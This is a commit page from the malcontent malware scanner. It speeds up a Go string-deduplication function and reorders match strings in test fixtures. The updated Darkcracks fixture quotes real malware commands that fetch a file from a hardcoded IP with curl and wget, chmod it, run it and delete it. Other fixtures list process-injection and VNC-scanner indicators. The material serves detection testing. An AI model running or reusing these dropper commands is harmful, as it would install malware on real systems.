Skip to content

Commit 8c3e803

Browse files
authored
Reduce memory allocations and improve longestUnique performance (#1199)
Signed-off-by: egibs <[email protected]>
1 parent 5f44f86 commit 8c3e803

36 files changed

+2591
-2574
lines changed

pkg/action/testdata/scan_archive

Lines changed: 259 additions & 259 deletions
Large diffs are not rendered by default.

pkg/report/report.go

Lines changed: 35 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ package report
66
import (
77
"context"
88
"fmt"
9+
"maps"
910
"net/url"
1011
"path/filepath"
1112
"regexp"
@@ -252,34 +253,44 @@ func longestUnique(raw []string) []string {
252253
return raw
253254
}
254255

255-
safe := make([]string, len(raw))
256-
copy(safe, raw)
257-
258-
// Sort by length first (descending)
259-
sort.Slice(safe, func(i, j int) bool {
260-
return len(safe[i]) > len(safe[j])
261-
})
256+
unique := make(map[string]struct{}, len(raw))
257+
for _, s := range raw {
258+
if s != "" {
259+
unique[s] = struct{}{}
260+
}
261+
}
262262

263-
longest := make([]string, 0, len(safe))
264-
seen := make(map[string]bool, len(safe))
263+
if len(unique) == 0 {
264+
return nil
265+
}
265266

266-
// Since we sorted by length, longest strings come first
267-
// This ensures we keep the longest strings that contain shorter ones
268-
for _, s := range safe {
269-
if s == "" || seen[s] {
270-
continue
267+
keys := slices.Sorted(maps.Keys(unique))
268+
slices.SortFunc(keys, func(a, b string) int {
269+
diff := len(b) - len(a)
270+
switch {
271+
case diff != 0:
272+
return diff
273+
case a < b:
274+
return -1
275+
case a > b:
276+
return 1
277+
default:
278+
return 0
271279
}
280+
})
281+
282+
longest := make([]string, 0, len(keys))
272283

273-
isLongest := true
284+
for _, s := range keys {
285+
contained := false
274286
for _, o := range longest {
275287
if strings.Contains(o, s) {
276-
isLongest = false
288+
contained = true
277289
break
278290
}
279291
}
280-
if isLongest {
292+
if !contained {
281293
longest = append(longest, s)
282-
seen[s] = true
283294
}
284295
}
285296

@@ -294,7 +305,12 @@ func matchToString(ruleName string, m string) string {
294305
switch {
295306
case strings.Contains(ruleName, "base64"),
296307
strings.Contains(ruleName, "xor"):
297-
return ruleName + "::" + m
308+
var sb strings.Builder
309+
sb.Grow(len(ruleName) + 2 + len(m))
310+
sb.WriteString(ruleName)
311+
sb.WriteString("::")
312+
sb.WriteString(m)
313+
return sb.String()
298314
case strings.Contains(ruleName, "xml_key_val"):
299315
return strings.TrimSpace(strings.ReplaceAll(
300316
strings.ReplaceAll(m, "<key>", ""),

pkg/report/report_test.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ func TestLongestUnique(t *testing.T) {
2020
{
2121
name: "Test 2",
2222
raw: []string{"test", "testing", "tester", "testest"},
23-
want: []string{"testing", "testest", "tester"},
23+
want: []string{"testest", "testing", "tester"},
2424
},
2525
{
2626
name: "Test 3",

pkg/report/strings.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ func NewStringPool(length int) *StringPool {
3131
func (sp *StringPool) Intern(s string) string {
3232
sp.RLock()
3333
defer sp.RUnlock()
34+
3435
if interned, ok := sp.strings[s]; ok {
3536
return interned
3637
}

tests/javascript/2024.lottie-player/lottie-player.min.js.mdiff

Lines changed: 11 additions & 11 deletions
Large diffs are not rendered by default.

tests/linux/2024.Darkcracks/darkcracks.sh.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
| CRITICAL | [evasion/self_deletion/run_and_delete](https://github.com/chainguard-dev/malcontent/blob/main/rules/evasion/self_deletion/run_and_delete.yara#run_sleep_delete) | run executable, sleep, and delete | [chmod +x ./wdvsh](https://github.com/search?q=chmod+%2Bx+.%2Fwdvsh&type=code)<br>[./wdvsh agr](https://github.com/search?q=.%2Fwdvsh+agr&type=code)<br>[rm ./wdvsh](https://github.com/search?q=rm+.%2Fwdvsh&type=code)<br>[rm ./agr](https://github.com/search?q=rm+.%2Fagr&type=code)<br>[sleep 3](https://github.com/search?q=sleep+3&type=code) |
77
| CRITICAL | [net/download/fetch](https://github.com/chainguard-dev/malcontent/blob/main/rules/net/download/fetch.yara#curl_download_ip) | Invokes curl to download a file from an IP | [curl http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o](https://github.com/search?q=curl+http%3A%2F%2F179.191.68.85%3A82%2Fvendor%2Fsebastian%2Fdiff%2Fsrc%2FException%2Fj8UgL3v+-o&type=code) |
88
| HIGH | [c2/addr/ip](https://github.com/chainguard-dev/malcontent/blob/main/rules/c2/addr/ip.yara#http_hardcoded_ip) | hardcoded IP address within a URL | [http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl](http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl)<br>[http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v](http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v) |
9-
| HIGH | [c2/tool_transfer/shell](https://github.com/chainguard-dev/malcontent/blob/main/rules/c2/tool_transfer/shell.yara#tool_chmod_relative_run_tiny) | fetch file, make it executable, and run it | [wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr](https://github.com/search?q=wget+http%3A%2F%2F179.191.68.85%3A82%2Fvendor%2Fsebastian%2Fdiff%2Fsrc%2FException%2Fj8UgL3v+-O+agr&type=code)<br>[curl http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr](https://github.com/search?q=curl+http%3A%2F%2F179.191.68.85%3A82%2Fvendor%2Fsebastian%2Fdiff%2Fsrc%2FException%2Fj8UgL3v+-o+agr&type=code)<br>[chmod +x ./wdvsh](https://github.com/search?q=chmod+%2Bx+.%2Fwdvsh&type=code)<br>[cd /var/run](https://github.com/search?q=cd+%2Fvar%2Frun&type=code)<br>[./wdvsh agr](https://github.com/search?q=.%2Fwdvsh+agr&type=code)<br>[cd /root](https://github.com/search?q=cd+%2Froot&type=code)<br>[cd /tmp](https://github.com/search?q=cd+%2Ftmp&type=code)<br>[cd /mnt](https://github.com/search?q=cd+%2Fmnt&type=code)<br>[./agr](https://github.com/search?q=.%2Fagr&type=code) |
9+
| HIGH | [c2/tool_transfer/shell](https://github.com/chainguard-dev/malcontent/blob/main/rules/c2/tool_transfer/shell.yara#tool_chmod_relative_run_tiny) | fetch file, make it executable, and run it | [curl http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr](https://github.com/search?q=curl+http%3A%2F%2F179.191.68.85%3A82%2Fvendor%2Fsebastian%2Fdiff%2Fsrc%2FException%2Fj8UgL3v+-o+agr&type=code)<br>[wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr](https://github.com/search?q=wget+http%3A%2F%2F179.191.68.85%3A82%2Fvendor%2Fsebastian%2Fdiff%2Fsrc%2FException%2Fj8UgL3v+-O+agr&type=code)<br>[chmod +x ./wdvsh](https://github.com/search?q=chmod+%2Bx+.%2Fwdvsh&type=code)<br>[./wdvsh agr](https://github.com/search?q=.%2Fwdvsh+agr&type=code)<br>[cd /var/run](https://github.com/search?q=cd+%2Fvar%2Frun&type=code)<br>[cd /root](https://github.com/search?q=cd+%2Froot&type=code)<br>[cd /mnt](https://github.com/search?q=cd+%2Fmnt&type=code)<br>[cd /tmp](https://github.com/search?q=cd+%2Ftmp&type=code)<br>[./agr](https://github.com/search?q=.%2Fagr&type=code) |
1010
| MEDIUM | [exec/shell/exec](https://github.com/chainguard-dev/malcontent/blob/main/rules/exec/shell/exec.yara#calls_shell) | executes shell | [/bin/bash](https://github.com/search?q=%2Fbin%2Fbash&type=code) |
1111
| MEDIUM | [fs/file/make_executable](https://github.com/chainguard-dev/malcontent/blob/main/rules/fs/file/file-make_executable.yara#chmod_executable_shell) | makes file executable | [chmod +x ./wdvsh](https://github.com/search?q=chmod+%2Bx+.%2Fwdvsh&type=code) |
1212
| MEDIUM | [fs/path/relative](https://github.com/chainguard-dev/malcontent/blob/main/rules/fs/path/relative.yara#relative_path_val) | references and possibly executes relative path | [./wdvsh](https://github.com/search?q=.%2Fwdvsh&type=code)<br>[./agr](https://github.com/search?q=.%2Fagr&type=code) |
@@ -15,5 +15,5 @@
1515
| LOW | [fs/path/var](https://github.com/chainguard-dev/malcontent/blob/main/rules/fs/path/var.yara#var_path) | path reference within /var | [/var/run](https://github.com/search?q=%2Fvar%2Frun&type=code) |
1616
| LOW | [net/http](https://github.com/chainguard-dev/malcontent/blob/main/rules/net/http/http.yara#http) | Uses the HTTP protocol | [http](https://github.com/search?q=http&type=code) |
1717
| LOW | [net/url/embedded](https://github.com/chainguard-dev/malcontent/blob/main/rules/net/url/embedded.yara#http_url) | contains embedded HTTP URLs | [http://179.191.68.85](http://179.191.68.85) |
18-
| LOW | [process/chdir](https://github.com/chainguard-dev/malcontent/blob/main/rules/process/chdir.yara#chdir_shell) | changes working directory | [cd /var/run](https://github.com/search?q=cd+%2Fvar%2Frun&type=code)<br>[cd /root](https://github.com/search?q=cd+%2Froot&type=code)<br>[cd /tmp](https://github.com/search?q=cd+%2Ftmp&type=code)<br>[cd /mnt](https://github.com/search?q=cd+%2Fmnt&type=code) |
18+
| LOW | [process/chdir](https://github.com/chainguard-dev/malcontent/blob/main/rules/process/chdir.yara#chdir_shell) | changes working directory | [cd /var/run](https://github.com/search?q=cd+%2Fvar%2Frun&type=code)<br>[cd /root](https://github.com/search?q=cd+%2Froot&type=code)<br>[cd /mnt](https://github.com/search?q=cd+%2Fmnt&type=code)<br>[cd /tmp](https://github.com/search?q=cd+%2Ftmp&type=code) |
1919

tests/linux/2024.kubo_injector/injector.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,8 +62,8 @@
6262
"Description": "may inject code into other processes",
6363
"MatchStrings": [
6464
"successfully injected",
65-
"to-inject",
6665
"to inject",
66+
"to-inject",
6767
"/proc",
6868
"maps"
6969
],

tests/linux/2024.vncjew/__min__c.json

Lines changed: 25 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -39,18 +39,18 @@
3939
"MatchStrings": [
4040
"nonZeroRandomBytes",
4141
"p224RandomPoint",
42-
"p521RandomPoint",
4342
"p384RandomPoint",
43+
"p521RandomPoint",
4444
"getRandomBatch",
4545
"getRandomData",
46-
"serverRandom",
47-
"extendRandom",
4846
"clientRandom",
47+
"extendRandom",
48+
"serverRandom",
4949
"randomOrder",
5050
"randomEnum",
5151
"urandom127",
52-
"getrandom",
53-
"GetRandom"
52+
"GetRandom",
53+
"getrandom"
5454
],
5555
"RiskScore": 1,
5656
"RiskLevel": "LOW",
@@ -243,8 +243,8 @@
243243
{
244244
"Description": "tls",
245245
"MatchStrings": [
246-
"crypto/tls",
247246
"TLSVersion",
247+
"crypto/tls",
248248
"TLS13"
249249
],
250250
"RiskScore": 1,
@@ -480,10 +480,10 @@
480480
{
481481
"Description": "path reference within /etc",
482482
"MatchStrings": [
483+
"/etc/apache/mime.types/etc/ssl/ca-bun",
483484
"/etc/pki/ca-trust/extracted/pem/tls-c",
484485
"/etc/security/cacerts/usr/local/share",
485486
"/etc/ssl/ca-bundle.pem/lib/time/zonei",
486-
"/etc/apache/mime.types/etc/ssl/ca-bun",
487487
"/etc/nsswitch.conf/etc/pki/tls/certs",
488488
"/etc/ssl/certs/ca-certificates.crt",
489489
"/etc/pki/tls/certs/ca-bundle.crt",
@@ -551,8 +551,8 @@
551551
{
552552
"Description": "modifies file permissions",
553553
"MatchStrings": [
554-
"chmod",
555-
"Chmod"
554+
"Chmod",
555+
"chmod"
556556
],
557557
"RiskScore": 2,
558558
"RiskLevel": "MEDIUM",
@@ -575,8 +575,8 @@
575575
{
576576
"Description": "vncjew, a VNC scanner",
577577
"MatchStrings": [
578-
"readVNCs",
579578
"iptables",
579+
"readVNCs",
580580
"masscan"
581581
],
582582
"RiskScore": 4,
@@ -612,8 +612,8 @@
612612
{
613613
"Description": "Uses DNS TXT (text) records",
614614
"MatchStrings": [
615-
"dns",
616-
"TXT"
615+
"TXT",
616+
"dns"
617617
],
618618
"RiskScore": 1,
619619
"RiskLevel": "LOW",
@@ -624,8 +624,8 @@
624624
{
625625
"Description": "Uses the HTTP protocol",
626626
"MatchStrings": [
627-
"http",
628-
"HTTP"
627+
"HTTP",
628+
"http"
629629
],
630630
"RiskScore": 1,
631631
"RiskLevel": "LOW",
@@ -686,8 +686,8 @@
686686
"Description": "submits content to websites",
687687
"MatchStrings": [
688688
"Content-TypeECDSA",
689-
"POST",
690689
"HTTP",
690+
"POST",
691691
"http"
692692
],
693693
"RiskScore": 2,
@@ -796,8 +796,8 @@
796796
"Description": "uses VNC remote desktop protocol",
797797
"MatchStrings": [
798798
"5900",
799-
"vnc",
800-
"VNC"
799+
"VNC",
800+
"vnc"
801801
],
802802
"RiskScore": 2,
803803
"RiskLevel": "MEDIUM",
@@ -819,8 +819,8 @@
819819
{
820820
"Description": "listen on a socket",
821821
"MatchStrings": [
822-
"socket",
823-
"accept"
822+
"accept",
823+
"socket"
824824
],
825825
"RiskScore": 2,
826826
"RiskLevel": "MEDIUM",
@@ -1054,8 +1054,8 @@
10541054
{
10551055
"Description": "Uses DNS TXT (text) records",
10561056
"MatchStrings": [
1057-
"dns",
1058-
"TXT"
1057+
"TXT",
1058+
"dns"
10591059
],
10601060
"RiskScore": 1,
10611061
"RiskLevel": "LOW",
@@ -1066,8 +1066,8 @@
10661066
{
10671067
"Description": "Uses the HTTP protocol",
10681068
"MatchStrings": [
1069-
"http",
1070-
"HTTP"
1069+
"HTTP",
1070+
"http"
10711071
],
10721072
"RiskScore": 1,
10731073
"RiskLevel": "LOW",
@@ -1090,8 +1090,8 @@
10901090
"Description": "uses VNC remote desktop protocol",
10911091
"MatchStrings": [
10921092
"5900",
1093-
"vnc",
1094-
"VNC"
1093+
"VNC",
1094+
"vnc"
10951095
],
10961096
"RiskScore": 2,
10971097
"RiskLevel": "MEDIUM",

0 commit comments

Comments
 (0)